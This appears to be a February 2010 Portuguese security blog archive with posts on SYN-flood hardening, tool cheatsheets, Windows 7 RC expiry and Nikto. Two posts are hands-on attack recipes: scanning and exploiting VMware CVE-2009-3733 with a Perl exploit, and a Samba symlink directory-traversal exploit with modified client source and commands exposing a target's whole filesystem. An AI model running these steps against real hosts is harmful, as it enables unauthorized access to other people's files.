Archive for fevereiro, 2010


Há algumas semanas atrás eu postei como mitigar ataques synflood em linux, mudança de parâmetros do kernel e talz, nada muito ajuda quando o ataque é bem feito. O post de hoje ajuda a mitigar ataques synflood em windows, algo que eu não acredito muito mas pode ajudar em certas situações. ;)

O conhecido BackLog…

reg add HKLM\System\CurrentControlSet\Services\AFD\Parameters /v EnableDynamicBacklog /t REG_DWORD /d 1

reg add HKLM\System\CurrentControlSet\Services\AFD\Parameters /v MinimumDynamicBacklog /t REG_DWORD /d 20

reg add HKLM\System\CurrentControlSet\Services\AFD\Parameters /v MaximumDynamicBacklog /t REG_DWORD /d 20000

reg add HKLM\System\CurrentControlSet\Services\AFD\Parameters /v DynamicBacklogGrowthDelta /t REG_DWORD /d 10

Proteção contra SynFlood…

reg add HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v SynAttackProtect /t REG_DWORD /d 1

Diminuindo o tempo das conexões abertas…

reg add HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v TcpMaxConnectResponseRetransmissions /t REG_DWORD /d 2

Existe também um módulo para o IIS onde é possível proteger-se contra DoS e ataques brute force bloqueando ip’s dinamicamente, segue abaixo as referências:

http://learn.iis.net/page.aspx/548/using-dynamic-ip-restrictions/

Referências…

http://support.microsoft.com/default.aspx?scid=kb;[LN];142641

Para Solaris, HP-UX etc.. paper muito Bom!!

http://www.securityfocus.com/infocus/1729

[]‘s Sergito

Guia rápido do Hping3, pra colar na porta do armário!! :D

hping3_cheatsheet_v1.0-ENG

[]‘s Sergito

Guia rápido do nmap, pra colar na geladeira!! haha

Nmap5 cheatsheet eng v1

[]‘s Sergito

OLáaa a todos!! depois de muitos 0days rolando por aé, venho para mais um post, mas dessa vez é só um paper muito interessante, sobre o virus que esta causando um estrago bem grande por ae.. já são 75 mil computadores infectados em todo o mundo.

Para quem gosta de escovar uns bits, segue abaixo o download.

Donwload:  tdl3 analysis paper

[]‘s Sergito

Quem tem instalado o Windows 7 RC (Release Candidate), vai começar a receber mensagens do sistema operacional a partir do dia 15 de fevereiro. Quando a versão RC foi liberada para download gratuito, em maio de 2009, a Microsoft infomou que ela teria ‘data de validade’. Para o usuário, não há muito o que se possa fazer: ou volta-se para o sistema operacional anterior ou deve-se comprar uma licença do novo sistema operacional e, assim, instalar a versão final do Windows 7.

Felizmente, o Windows 7 RC não vai travar o sistema imediatamente. Em vez disso, ele foi programado para emitir avisos em datas específicas, até o momento em que não seja possível fazer mais nada. Por isso, é melhor se programar.

Conheça o cronograma definido pela Microsoft para a versão RC do Windows 7 e  o que fazer para resolver definitivamente o problemas, seja qual for a decisão que tormar.

Datas em que a versão RC do Windows 7 expira
O Windows 7 RC vai emitir mensagens na tela em três etapas:

1.15 de fevereiro de 2010 – início do processo de notificação: O usuário receberá uma notificação de expiração na extremidade direita da barra de tarefas, diariamente, a cada quatro horas. Mais tarde (a Microsoft não informa quando) a mensagem começa a ser exibida de hora em hora.

2. 1º de março de 2010 – fase de expiração: O computador começará a reiniciar automaticamente a cada duas horas. Atenção: o Windows não irá salvar qualquer trabalho que esteja aberto quando a inicialização ocorrer.

3. 1º de junho de 2010 – expiração definitiva: O Windows é iniciado com a área de trabalho na cor preta. Uma caixa de diálogo abre exibindo a mensagem de que o Windows instalado não é genuíno.

Como descobrir qual a versão do Windows 7 que está instalada
Se você estiver executando a versão RC do Windows 7, você verá escrito Windows 7 RC e número de compilação 7100 no canto inferior direito da sua área de trabalho do Windows. Caso não veja nada no canto inferior direito, provavelmente já está rodando a versão final do Windows 7.

Mesmo assim, se quiser verificar, basta clicar no menu Iniciar e, na caixa de pesquisas, digite o comando winver. Surgirá uma janela exibindo a versão do Windows, como exemplificado abaixo. A versão final do Windows 7 é a versão 6.1 (Build 7600).

win7ver.jpg

Como instalar a versão final do Windows 7
É possível instalar a versão final sem formatar o HD, afinal, muitos dados devem ter sido armazenados desde maio de 2009, data em que a versão RC do Windows 7 foi liberada para download.

Fonte: http://pcworld.uol.com.br/dicas/2010/02/14/windows-7-rc-comeca-a-emitir-mensagens-de-desligamento/?utm_source=twitterfeed&utm_medium=ping.fm

[]‘s Sergito

Esta precisando construir uma expressão regular? sem utilizar muito do seu tempo? Uma ferramenta simples para KDE no formato de widget te auxilia muito quando vc mais precisa!! A KRegExpEditor pode ser instalável via aptitude e é uma alternativa aos diversos programas que vc encontra por ae.

[]‘s Sergito

Olá gente!! vou escrever rapidamente pois o tempo esta curto…

Vc leu o nome do post e se assustou? isso mesmo, vc tem motivos para isso!  Semana passada na shmoocon foi exposta uma falha em produtos vmware que afetam as versões server, esx e esxi, sendo assim, um acesso fácil aos arquivos do host vulnerável. Referencia: CVE-2009-3733

Não demorou muito e já surgiu um plugin do nmap para localizar esses hosts vulneráveis e juntamente com o xploit é possível ter acesso ao alvo facilmente, segue abaixo uma receita rápida e direta!

1) Baixar os arquivos: Plugin e xploit

2) Instalar o plugin do nmap: em máquinas windows, os plugins estão localizado neste caminho:  c:\Program Files\Nmap\Scripts

Em máquinas linux:
/usr/share/nmap/scripts
/usr/local/share/nmap/scripts

Talvez precise baixar umas libs para o lua: http://nmap.org/svn/liblua/

Agora é só atualizar a base: # nmap –script-updatedb

3) Nmap neles!!

nmap -v -p 80,443 -T4 –script http-vmware-path-vuln <ip>

Além de uma seríe de informações será retornado tb, em letras grandes: VULNERABLE

4) Xploit!

Executar o xploit: # perl gueststealer-v1.pl , lembrando que é necessário algumas dependência de módulos perl para executar,(descrito no fonte) informar os parêmetros que será solicitado (ip, porta, versão etc..) e pronto!!

5) Patch!!

Aplique o patch imediatamente!! http://www.vmware.com/security/advisories/VMSA-2009-0015.html

[]‘s Sergito

Eu apelido como o dia D, ou como a SANS prefere dizer, a terça-feira negra. Hoje Terça-Feira (09-02-10), 13 Vulnerabilidades em produtos Microsoft lançadas e maioria de estado CRÍTICO, algumas para clients outras para servers. Não deixe de LER!! e Patchear! Ahh sem contar do 0day em BD Oracle que a mesma pediu que retirasse do ar o vídeo que saiu na BlackHat.

link: http://isc.sans.org/diary.html?storyid=8197

O assunto do dia foi esse, depois que o kcope publicou o exploit do samba ontem (04-02-2010), muito semelhante a que ocorreu em 2004, fui testa-lo para ser assunto de mais um post aqui no blog. Quando explorado a falha, é possível  listar, ler e copiar arquivos para o sistema atacado, não somente no diretório compartilhado pelo samba, mas sim todo o “/” do seu linux. Nos testes que realizei (Debian), só foi preciso criar um compartilhamento com permissão de escrita para todos, que é necessário para o xploit funcionar.

1) Mão na massa, primeiramente baixe o source do samba, eu utilizei a versão 3.4.5: http://samba.org/samba/ftp/stable/samba-3.4.5.tar.gz

2) Será necessário alterar um arquivo do source do samba e alterar um bloco como descrito abaixo:

vi ~/samba-3.4.5/source3/client/client.c

/****************************************************************************
UNIX symlink.
****************************************************************************/

static int cmd_symlink(void)
{
TALLOC_CTX *ctx = talloc_tos();
char *oldname = NULL;
char *newname = NULL;
char *buf = NULL;
char *buf2 = NULL;
char *targetname = NULL;
struct cli_state *targetcli;

if (!next_token_talloc(ctx, &cmd_ptr,&buf,NULL) ||
!next_token_talloc(ctx, &cmd_ptr,&buf2,NULL)) {
d_printf(“symlink <oldname> <newname>\n”);
return 1;
}
oldname = talloc_asprintf(ctx,
“%s”,                // << HERE modified
buf);
if (!oldname) {
return 1;
}
newname = talloc_asprintf(ctx,
“%s”,                // << HERE modified
buf2);
if (!newname) {
return 1;
}
/* COMENTE
oldname = talloc_asprintf(ctx,
“%s%s”,                // < modified (see above)
client_get_cur_dir(),        // < removed (see above)
buf);
if (!oldname) {
return 1;
}
newname = talloc_asprintf(ctx,
“%s%s”,                // < modified (see above)
client_get_cur_dir(),        // < removed (see above)
buf2);
if (!newname) {
return 1;
}
———————————————-*/

if (!cli_resolve_path(ctx, “”, auth_info, cli, oldname, &targetcli, &targetname)) {
d_printf(“link %s: %s\n”, oldname, cli_errstr(cli));
return 1;

}

if (!SERVER_HAS_UNIX_CIFS(targetcli)) {
d_printf(“Server doesn’t support UNIX CIFS calls.\n”);
return 1;
}

if (!cli_unix_symlink(targetcli, targetname, newname)) {
d_printf(“%s symlinking files (%s -> %s)\n”,
cli_errstr(targetcli), newname, targetname);
return 1;
}

return 0;
}

——————————————————————————————————————————

Como visto acima, algumas linhas do bloco “UNIX symlink” foram alterados, a melhor opção é remover o bloco do arquivo original e colar o bloco acima no seu source.

3) Agora vamos compilar o samba:

# cd ~/samba-3.4.5/source3/

#./configure  && make && make install

4) Localizar o diretório compartilhado:

# smbclient -s /etc/samba/smb.conf -L //192.168.48.128

Irá listar os diretórios compartilhados no alvo, no meu caso deu um problema com uma biblioteca no momento da execução, para resolver alterei a variável LD_LIBRARY_PATH.

# export LD_LIBRARY_PATH=/usr/local/samba/lib    < local da lib do samba

5) Acessando o compartilhamento:

# smbclient -s /etc/samba/smb.conf   //192.168.48.128/shared

A pasta compartilhada chama-se “shared”, lembrando, ela deverá ter permissão total de escrita para o guest.

6) Xploit!!

Vc irá cair no prompt do samba (smb: \>), se vc executar o “ls”, ele irá listar os arquivo de dentro da pasta compartilhada, mas e agora??

no prompt do samba digite:  symlink ../../../../../ root

Executando o “ls” novamente, listará uma pasta chamada “root”, óóóóóóóóó!! Agora entre nela!

smb: \> cd root

smb: \root\> ls

UAUUU!! o conteúdo do “/” inteiro a disposição!! Agora é só navegar nas pastas e transferir arquivos!!

Esta 0day é de total crédito do kcope, autor de diversas 0day’s. (http://www.milw0rm.com/author/113 | http://twitter.com/Kingcope)

[]‘s Sergito

vi ~/samba-3.4.5/source3/client/client.c

Muito bom o link!! Lista o comparativo entre sistemas de monitoramento, zabbix, nagios, pandora, cacti entre outros!

http://en.wikipedia.org/wiki/Comparison_of_network_monitoring_systems

[]‘s Sergito

Nova versão do web server Scanner Nikto lançada!  Vamos la gente!! Fazer os testes!!

Voltando as aulas, ando meio sem tempo para postar “howto” novos, vou tentar manter uma média de 1 por semana pelo menos!!

Download: http://cirt.net/nikto/nikto-2.1.1.tar.bz2

[]‘s Sergito